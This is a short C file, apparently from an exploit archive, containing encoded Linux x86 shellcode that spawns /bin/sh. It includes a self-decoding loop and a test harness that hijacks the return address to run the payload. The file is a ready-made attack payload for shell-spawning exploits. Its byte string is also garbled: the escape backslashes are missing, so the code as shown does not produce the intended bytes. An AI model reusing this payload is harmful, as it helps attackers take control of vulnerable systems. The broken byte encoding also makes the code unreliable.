/*
 * (linux/x86) - execve("/bin/sh", ["/bin/sh"], NULL) / encoded by +1 - 39 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x68x8axe2xcex81"  // push $0x81cee28a 
	"x68xb1x0cx53x54"  // push $0x54530cb1 
	"x68x6ax6fx8axe4"  // push $0xe48a6f6a 
	"x68x01x69x30x63"  // push $0x63306901 
	"x68x69x30x74x69"  // push $0x69743069 
	"x6ax14"              // push $0x14 
	"x59"                  // pop %ecx 
	
	//
	// <_unpack_loop>:
	//

	"xfex0cx0c"          // decb (%esp,%ecx,1) 
	"x49"                  // dec %ecx 
	"x79xfa"              // jns <_unpack_loop> 
	"x41"                  // inc %ecx 
	"xf7xe1"              // mul %ecx 
	"x54"                  // push %esp 
	"xc3";                 // ret 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-25]